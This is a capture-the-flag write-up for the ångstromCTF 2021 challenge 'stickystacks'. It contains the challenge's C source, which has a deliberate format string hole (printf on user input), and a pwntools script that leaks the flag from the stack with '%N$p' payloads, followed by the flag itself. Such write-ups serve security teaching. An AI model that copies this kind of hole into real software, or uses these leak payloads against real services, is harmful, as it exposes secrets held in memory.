Posts ångstromCTF 2021 - stickystacks
Post
Cancel

ångstromCTF 2021 - stickystacks

AngstromCTF

It’s a write-up about the challenge : AngstromCTF - stickystacks

1. Challenge

I made a program that holds a lot of secrets… maybe even a flag!

Source

Connect with nc shell.actf.co 21820, or visit /problems/2021/stickystacks on the shell server.

Author: JoshDaBosh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


typedef struct Secrets {
    char secret1[50];
    char password[50];
    char birthday[50];
    char ssn[50];
    char flag[128];
} Secrets;


int vuln(){
    char name[7];
    
    Secrets boshsecrets = {
        .secret1 = "CTFs are fun!",
        .password= "password123",
        .birthday = "1/1/1970",
        .ssn = "123-456-7890",
    };
    
    
    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f);
    
    
    puts("Name: ");
    
    fgets(name, 6, stdin);
    
    
    printf("Welcome, ");
    printf(name);
    printf("\n");
    
    return 0;
}


int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    vuln();
    
    return 0;
}


2. Solution

This was a simple “leak the flag from the stack” challenge, and for this one the “gadget” would be a format string vulnerability. I struggled for a bit despite quickly getting the right idea since %x and %d were not working (I was getting parts of the flag but it felt like the values were all being cut off). I even tried %ld and %lld but since we had a 5 character limit this did not work as expected.

Thankfully after remembering about and switching to %p it was smooth sailing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = './stickystacks'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

flag = b""

# Let's fuzz x values
for i in range(33, 43):
    try:
        p = start()
        # Format the counter
        # e.g. %2$s will attempt to print [i]th pointer/string/hex/char/int
        p.sendlineafter(':', '%{}$p'.format(i))
        p.recvuntil('Welcome, ')
        # Receive the response
        result = p.recvuntil('\n')
        flag_segment = unhex(result.strip().decode()[2:])
        print(str(i) + ": " + str(flag_segment))
        flag += flag_segment[::-1]  # Reverse and decode
    except EOFError:
        pass

success(flag)

The flag was : actf{well_i’m_back_in_black_yes_i’m_back_in_the_stack_bec9b51294ead77684a1f593}

This post is licensed under CC BY 4.0 by the author.